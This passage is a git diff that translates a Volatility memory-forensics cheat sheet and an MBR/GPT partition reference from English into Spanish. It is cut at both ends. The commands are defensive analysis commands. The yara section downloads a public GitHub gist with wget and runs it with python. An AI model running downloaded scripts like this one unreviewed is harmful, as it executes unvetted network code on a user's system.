ser interesante listar los procesos que utilizan un SID de privilegios (y los procesos que utilizan algún SID de servicio). {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.getsids.GetSIDs [--pid ] #Get SIDs of processes ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 getsids -f file.dmp #Get the SID owned by each process volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of each service ``` - {{#endtab}} {{#endtabs}} -### Handles +### Manejadores -Useful to know to which other files, keys, threads, processes... a **process has a handle** for (has opened) +Útil saber a qué otros archivos, claves, hilos, procesos... un **proceso tiene un manejador** (ha abierto) {{#tabs}} {{#tab name="vol3"}} - ```bash vol.py -f file.dmp windows.handles.Handles [--pid ] ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] ``` - {{#endtab}} {{#endtabs}} @@ -378,40 +310,33 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.dlllist.DllList [--pid ] #List dlls used by each ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory process ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 dlllist --pid=3152 -f file.dmp #Get dlls of a proc volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dmp #Dump dlls of a proc ``` - {{#endtab}} {{#endtabs}} -### Strings per processes +### Cadenas por procesos -Volatility allows us to check which process a string belongs to. +Volatility nos permite verificar a qué proceso pertenece una cadena. {{#tabs}} {{#tab name="vol3"}} - ```bash strings file.dmp > /tmp/strings.txt ./vol.py -f /tmp/file.dmp windows.strings.Strings --strings-file /tmp/strings.txt ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash strings file.dmp > /tmp/strings.txt volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.txt @@ -419,99 +344,78 @@ volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.t volatility -f /tmp/file.dmp --profile=Win81U1x64 memdump -p 3532 --dump-dir . strings 3532.dmp > strings_file ``` - {{#endtab}} {{#endtabs}} -It also allows to search for strings inside a process using the yarascan module: +También permite buscar cadenas dentro de un proceso utilizando el módulo yarascan: {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.vadyarascan.VadYaraScan --yara-rules "https://" --pid 3692 3840 3976 3312 3084 2784 ./vol.py -f file.dmp yarascan.YaraScan --yara-rules "https://" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3312,3084,2784 ``` - {{#endtab}} {{#endtabs}} ### UserAssist -**Windows** keeps track of programs you run using a feature in the registry called **UserAssist keys**. These keys record how many times each program is executed and when it was last run. +**Windows** realiza un seguimiento de los programas que ejecutas utilizando una función en el registro llamada **UserAssist keys**. Estas claves registran cuántas veces se ejecuta cada programa y cuándo fue la última vez que se ejecutó. {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.userassist.UserAssist ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f file.dmp userassist ``` - {{#endtab}} {{#endtabs}} ​ -
-​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Services +## Servicios {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.svcscan.SvcScan #List services ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #Get services and binary path volatility --profile=Win7SP1x86_23418 svcscan -f file.dmp #Get name of the services and SID (slow) volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp ``` - {{#endtab}} {{#endtabs}} -## Network +## Red {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.netscan.NetScan #For network info of linux use volatility2 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 netscan -f file.dmp volatility --profile=Win7SP1x86_23418 connections -f file.dmp#XP and 2003 only @@ -526,102 +430,84 @@ volatility --profile=SomeLinux -f file.dmp linux_arp #ARP table volatility --profile=SomeLinux -f file.dmp linux_list_raw #Processes using promiscuous raw sockets (comm between processes) volatility --profile=SomeLinux -f file.dmp linux_route_cache ``` - {{#endtab}} {{#endtabs}} -## Registry hive +## Registro de hives -### Print available hives +### Imprimir hives disponibles {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.hivelist.HiveList #List roots ./vol.py -f file.dmp windows.registry.printkey.PrintKey #List roots and get initial subkeys ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp hivelist #List roots volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get initial subkeys ``` - {{#endtab}} {{#endtabs}} -### Get a value +### Obtener un valor {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.printkey.PrintKey --key "Software\Microsoft\Windows NT\CurrentVersion" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 printkey -K "Software\Microsoft\Windows NT\CurrentVersion" -f file.dmp # Get Run binaries registry value volatility -f file.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\Microsoft\Windows\CurrentVersion\Run' ``` - {{#endtab}} {{#endtabs}} -### Dump - +### Volcado ```bash #Dump a hive volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f file.dmp #Offset extracted by hivelist #Dump all hives volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp ``` +## Sistema de archivos -## Filesystem - -### Mount +### Montar {{#tabs}} {{#tab name="vol3"}} - ```bash #See vol2 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=SomeLinux -f file.dmp linux_mount volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the entire filesystem (if possible) ``` - {{#endtab}} {{#endtabs}} -### Scan/dump +### Escaneo/volcado {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.filescan.FileScan #Scan for files inside the dump ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --physaddr <0xAAAAA> #Offset from previous command ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 filescan -f file.dmp #Scan for files inside the dump volatility --profile=Win7SP1x86_23418 dumpfiles -n --dump-dir=/tmp -f file.dmp #Dump all files @@ -631,60 +517,44 @@ volatility --profile=SomeLinux -f file.dmp linux_enumerate_files volatility --profile=SomeLinux -f file.dmp linux_find_file -F /path/to/file volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O /path/to/dump/file ``` - {{#endtab}} {{#endtabs}} -### Master File Table - -{{#tabs}} -{{#tab name="vol3"}} - +### Tabla Maestra de Archivos ```bash # I couldn't find any plugin to extract this information in volatility3 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp ``` - {{#endtab}} {{#endtabs}} -The **NTFS file system** uses a critical component known as the _master file table_ (MFT). This table includes at least one entry for every file on a volume, covering the MFT itself too. Vital details about each file, such as **size, timestamps, permissions, and actual data**, are encapsulated within the MFT entries or in areas external to the MFT but referenced by these entries. More details can be found in the [official documentation](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). +El **sistema de archivos NTFS** utiliza un componente crítico conocido como la _tabla maestra de archivos_ (MFT). Esta tabla incluye al menos una entrada para cada archivo en un volumen, cubriendo también la MFT. Detalles vitales sobre cada archivo, como **tamaño, marcas de tiempo, permisos y datos reales**, están encapsulados dentro de las entradas de la MFT o en áreas externas a la MFT pero referenciadas por estas entradas. Se pueden encontrar más detalles en la [documentación oficial](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). -### SSL Keys/Certs +### Claves/Certificados SSL {{#tabs}} {{#tab name="vol3"}} - ```bash #vol3 allows to search for certificates inside the registry ./vol.py -f file.dmp windows.registry.certificates.Certificates ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #vol2 allos you to search and dump certificates from memory #Interesting options for this modules are: --pid, --name, --ssl volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ``` - {{#endtab}} {{#endtabs}} ## Malware - -{{#tabs}} -{{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.malfind.Malfind [--dump] #Find hidden and injected code, [dump each suspicious section] #Malfind will search for suspicious structures related to malware @@ -698,11 +568,9 @@ volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp ./vol.py -f file.dmp linux.check_modules.Check_modules #Compares module list to sysfs info, if available ./vol.py -f file.dmp linux.tty_check.tty_check #Checks tty devices for hooks ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp malfind [-D /tmp] #Find hidden and injected code [dump each suspicious section] volatility --profile=Win7SP1x86_23418 -f file.dmp apihooks #Detect API hooks in process and kernel memory @@ -718,18 +586,16 @@ volatility --profile=SomeLinux -f file.dmp linux_check_modules volatility --profile=SomeLinux -f file.dmp linux_check_tty volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers ``` - {{#endtab}} {{#endtabs}} -### Scanning with yara +### Escaneo con yara -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. +Usa este script para descargar y fusionar todas las reglas de malware de yara desde github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Crea el directorio _**rules**_ y ejecútalo. Esto creará un archivo llamado _**malware_rules.yar**_ que contiene todas las reglas de yara para malware. {{#tabs}} {{#tab name="vol3"}} - ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules @@ -739,193 +605,151 @@ python malware_yara_rules.py #All ./vol.py -f file.dmp yarascan.YaraScan --yara-file /tmp/malware_rules.yar ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | grep "Rule:" | grep -v "Str_Win32" | sort | uniq ``` - {{#endtab}} {{#endtabs}} ## MISC -### External plugins +### Plugins externos -If you want to use external plugins make sure that the folders related to the plugins are the first parameter used. +Si deseas usar plugins externos, asegúrate de que las carpetas relacionadas con los plugins sean el primer parámetro utilizado. {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py --plugin-dirs "/tmp/plugins/" [...] ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash - volatilitye --plugins="/tmp/plugins/" [...] +volatilitye --plugins="/tmp/plugins/" [...] ``` - {{#endtab}} {{#endtabs}} #### Autoruns -Download it from [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) - +Descárgalo de [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) ``` - volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns +volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns ``` - ### Mutexes {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp windows.mutantscan.MutantScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 mutantscan -f file.dmp volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant ``` - {{#endtab}} {{#endtabs}} ### Symlinks - -{{#tabs}} -{{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.symlinkscan.SymlinkScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ``` - {{#endtab}} {{#endtabs}} ### Bash -It's possible to **read from memory the bash history.** You could also dump the _.bash_history_ file, but it was disabled you will be glad you can use this volatility module +Es posible **leer de la memoria el historial de bash.** También podrías volcar el archivo _.bash_history_, pero fue deshabilitado, estarás contento de poder usar este módulo de volatilidad. {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp linux.bash.Bash ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash ``` - {{#endtab}} {{#endtabs}} -### TimeLine +### Línea de Tiempo {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp timeLiner.TimeLiner ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f timeliner ``` - {{#endtab}} {{#endtabs}} -### Drivers +### Controladores {{#tabs}} {{#tab name="vol3"}} - ``` ./vol.py -f file.dmp windows.driverscan.DriverScan ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan ``` - {{#endtab}} {{#endtabs}} -### Get clipboard - +### Obtener portapapeles ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 clipboard -f file.dmp ``` - -### Get IE history - +### Obtener el historial de IE ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp ``` - -### Get notepad text - +### Obtener texto de notepad ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 notepad -f file.dmp ``` - -### Screenshot - +### Captura de pantalla ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp ``` - -### Master Boot Record (MBR) - +### Registro de Arranque Maestro (MBR) ```bash volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp ``` +El **Master Boot Record (MBR)** juega un papel crucial en la gestión de las particiones lógicas de un medio de almacenamiento, que están estructuradas con diferentes [file systems](https://en.wikipedia.org/wiki/File_system). No solo contiene información sobre el diseño de las particiones, sino que también incluye código ejecutable que actúa como un cargador de arranque. Este cargador de arranque inicia directamente el proceso de carga de segunda etapa del sistema operativo (ver [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) o trabaja en armonía con el [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) de cada partición. Para un conocimiento más profundo, consulta la [MBR Wikipedia page](https://en.wikipedia.org/wiki/Master_boot_record). -The **Master Boot Record (MBR)** plays a crucial role in managing the logical partitions of a storage medium, which are structured with different [file systems](https://en.wikipedia.org/wiki/File_system). It not only holds partition layout information but also contains executable code acting as a boot loader. This boot loader either directly initiates the OS's second-stage loading process (see [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) or works in harmony with the [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) of each partition. For in-depth knowledge, refer to the [MBR Wikipedia page](https://en.wikipedia.org/wiki/Master_boot_record). - -## References +## Referencias - [https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/](https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/) - [https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html](https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html) @@ -933,10 +757,4 @@ The **Master Boot Record (MBR)** plays a crucial role in managing the logical pa - [https://www.aldeid.com/wiki/Windows-userassist-keys](https://www.aldeid.com/wiki/Windows-userassist-keys) ​\* [https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table](https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table) - [https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa](https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa) -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 9ac27c92e..151233c89 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,147 +1,145 @@ -# Partitions/File Systems/Carving +# Particiones/Sistemas de Archivos/Carving {{#include ../../../banners/hacktricks-training.md}} -## Partitions +## Particiones -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +Un disco duro o un **SSD puede contener diferentes particiones** con el objetivo de separar datos físicamente.\ +La **unidad mínima** de un disco es el **sector** (normalmente compuesto de 512B). Por lo tanto, el tamaño de cada partición debe ser un múltiplo de ese tamaño. ### MBR (master Boot Record) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +Se asigna en el **primer sector del disco después de los 446B del código de arranque**. Este sector es esencial para indicar a la PC qué y desde dónde se debe montar una partición.\ +Permite hasta **4 particiones** (como máximo **solo 1** puede estar activa/**arrancable**). Sin embargo, si necesitas más particiones, puedes usar **particiones extendidas**. El **byte final** de este primer sector es la firma del registro de arranque **0x55AA**. Solo una partición puede ser marcada como activa.\ +MBR permite **máx 2.2TB**. ![](<../../../images/image (350).png>) ![](<../../../images/image (304).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma de Disco de Windows** (si se utiliza Windows). La letra de unidad lógica del disco duro depende de la Firma de Disco de Windows. Cambiar esta firma podría impedir que Windows arranque (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. ![](<../../../images/image (310).png>) -**Format** +**Formato** -| Offset | Length | Item | +| Offset | Longitud | Elemento | | ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | +| 0 (0x00) | 446(0x1BE) | Código de arranque | +| 446 (0x1BE) | 16 (0x10) | Primera Partición | +| 462 (0x1CE) | 16 (0x10) | Segunda Partición | +| 478 (0x1DE) | 16 (0x10) | Tercera Partición | +| 494 (0x1EE) | 16 (0x10) | Cuarta Partición | +| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA | -**Partition Record Format** +**Formato del Registro de Partición** -| Offset | Length | Item | +| Offset | Longitud | Elemento | | --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| 0 (0x00) | 1 (0x01) | Bandera activa (0x80 = arrancable) | +| 1 (0x01) | 1 (0x01) | Cabeza de inicio | +| 2 (0x02) | 1 (0x01) | Sector de inicio (bits 0-5); bits superiores del cilindro (6-7) | +| 3 (0x03) | 1 (0x01) | Cilindro de inicio, 8 bits más bajos | +| 4 (0x04) | 1 (0x01) | Código de tipo de partición (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | Cabeza final | +| 6 (0x06) | 1 (0x01) | Sector final (bits 0-5); bits superiores del cilindro (6-7) | +| 7 (0x07) | 1 (0x01) | Cilindro final, 8 bits más bajos | +| 8 (0x08) | 4 (0x04) | Sectores precedentes a la partición (little endian) | +| 12 (0x0C) | 4 (0x04) | Sectores en la partición | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +Para montar un MBR en Linux, primero necesitas obtener el desplazamiento de inicio (puedes usar `fdisk` y el comando `p`) -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) - -And then use the following code +![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +Y luego usa el siguiente código ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` +**LBA (Dirección de bloque lógico)** -**LBA (Logical block addressing)** +**La dirección de bloque lógico** (**LBA**) es un esquema común utilizado para **especificar la ubicación de bloques** de datos almacenados en dispositivos de almacenamiento de computadoras, generalmente sistemas de almacenamiento secundario como discos duros. LBA es un esquema de direccionamiento lineal particularmente simple; **los bloques se localizan mediante un índice entero**, siendo el primer bloque LBA 0, el segundo LBA 1, y así sucesivamente. -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +### GPT (Tabla de particiones GUID) -### GPT (GUID Partition Table) +La Tabla de Particiones GUID, conocida como GPT, es preferida por sus capacidades mejoradas en comparación con MBR (Registro de arranque maestro). Distintiva por su **identificador único global** para particiones, GPT se destaca en varios aspectos: -The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways: +- **Ubicación y tamaño**: Tanto GPT como MBR comienzan en **sector 0**. Sin embargo, GPT opera en **64 bits**, en contraste con los 32 bits de MBR. +- **Límites de partición**: GPT admite hasta **128 particiones** en sistemas Windows y acomoda hasta **9.4ZB** de datos. +- **Nombres de partición**: Ofrece la capacidad de nombrar particiones con hasta 36 caracteres Unicode. -- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits. -- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data. -- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters. +**Resiliencia y recuperación de datos**: -**Data Resilience and Recovery**: +- **Redundancia**: A diferencia de MBR, GPT no confina la partición y los datos de arranque a un solo lugar. Replica estos datos a lo largo del disco, mejorando la integridad y resiliencia de los datos. +- **Verificación de redundancia cíclica (CRC)**: GPT emplea CRC para asegurar la integridad de los datos. Monitorea activamente la corrupción de datos y, cuando se detecta, GPT intenta recuperar los datos corruptos de otra ubicación del disco. -- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience. -- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location. +**MBR protector (LBA0)**: -**Protective MBR (LBA0)**: - -- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks. +- GPT mantiene la compatibilidad hacia atrás a través de un MBR protector. Esta característica reside en el espacio MBR legado pero está diseñada para evitar que utilidades basadas en MBR más antiguas sobrescriban accidentalmente discos GPT, protegiendo así la integridad de los datos en discos formateados con GPT. ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>) -**Hybrid MBR (LBA 0 + GPT)** +**MBR híbrido (LBA 0 + GPT)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[Desde Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +En sistemas operativos que soportan **arranque basado en GPT a través de servicios BIOS** en lugar de EFI, el primer sector también puede seguir utilizándose para almacenar la primera etapa del código del **bootloader**, pero **modificado** para reconocer **particiones GPT**. El bootloader en el MBR no debe asumir un tamaño de sector de 512 bytes. -**Partition table header (LBA 1)** +**Encabezado de la tabla de particiones (LBA 1)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[Desde Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +El encabezado de la tabla de particiones define los bloques utilizables en el disco. También define el número y tamaño de las entradas de partición que componen la tabla de particiones (desplazamientos 80 y 84 en la tabla). -| Offset | Length | Contents | -| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| Desplazamiento | Longitud | Contenido | +| -------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 0 (0x00) | 8 bytes | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)en máquinas little-endian) | +| 8 (0x08) | 4 bytes | Revisión 1.0 (00h 00h 01h 00h) para UEFI 2.8 | +| 12 (0x0C) | 4 bytes | Tamaño del encabezado en little endian (en bytes, generalmente 5Ch 00h 00h 00h o 92 bytes) | +| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) del encabezado (desplazamiento +0 hasta el tamaño del encabezado) en little endian, con este campo en cero durante el cálculo | +| 20 (0x14) | 4 bytes | Reservado; debe ser cero | +| 24 (0x18) | 8 bytes | LBA actual (ubicación de esta copia del encabezado) | +| 32 (0x20) | 8 bytes | LBA de respaldo (ubicación de la otra copia del encabezado) | +| 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (LBA del último de la tabla de particiones primaria + 1) | +| 48 (0x30) | 8 bytes | Último LBA utilizable (primer LBA de la tabla de particiones secundaria − 1) | +| 56 (0x38) | 16 bytes | GUID del disco en endian mixto | +| 72 (0x48) | 8 bytes | LBA inicial de 